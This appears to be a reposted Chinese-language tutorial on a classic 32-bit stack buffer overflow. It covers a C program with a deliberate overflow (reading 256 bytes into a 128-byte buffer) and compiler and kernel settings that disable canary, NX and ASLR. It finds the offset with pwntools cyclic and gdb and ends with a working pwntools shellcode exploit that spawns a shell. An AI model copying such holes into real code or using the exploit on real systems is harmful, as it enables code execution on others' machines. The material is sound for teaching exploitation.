#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //"unistd.h" iniclude many functions ,sush as ,read,write
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);//0 STDIN_FILENO
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);//1 STDOUT_FILENO
}
关闭保护:gcc -m32 -fno-stack-protector -z execstack -o test test.c 关闭canary,NX
root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
关闭ALSR

正常流程:main->vul(输入点,256>128)->write
但是编译器在经过编译,汇编,链接后的栈空间会适当的调整,buf是128,但是栈的空间并非128
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
[-l lookup_value]
[count]
pwn cyclic: error: argument -l/-o/--offset/--lookup: expected one argument
cyclic N
cyclic -l 字符(报错位置)//显示偏移量
pwntools 也提供了大量有用的命令行工具, 它们用作某些内部功能的包装。pwn cyclic当然在使用时直接cyclic就可以。
cyclic 对于直接的缓冲区溢出,可以很方便的确认再偏移多少可以控制eip 。



gdb ./test
disas main
b * 0x08048471
r
c
Program received signal SIGSEGV, Segmentation fault.出现段错误

|cyclic字符 |
|cyclic字符 |
|cyclic字符 |
|ret address|=>|0x6261616b | 不存在的地址从而报错
root@ubuntu:/home/chen/Desktop# cyclic -l 0x6261616b
140
offset:140
#####gdb:下确定shellcode位置 gdb下的固定地址与直接执行的固定地址未必一值,对shellcode的地址确定带来干扰 利用直接执行的核心转储文件core,在gdb下查看报错信息,从而确定其在直接执行下的内存地址(ulimit -c unlimted)
gdb test core
x/10s $esp-144

140+4(eip/ret)<-esp,下图显示esp指向ret



from pwn import*
#context.log_level=‘debug‘
context.arch=‘i386‘
context.os=‘Linux‘
p=process(‘./test‘)
shellcode=asm(shellcraft.sh())
ret_addr=0xffffd640
payload=shellcode.ljust(140,‘a‘)+p32(ret_addr)
p.send(payload)
p.interactive()
参考:
http://www.vuln.cn/6645
https://www.codetd.com/article/7778682
https://xz.aliyun.com/t/3944
原文:https://www.cnblogs.com/zuoanfengxi/p/13213771.html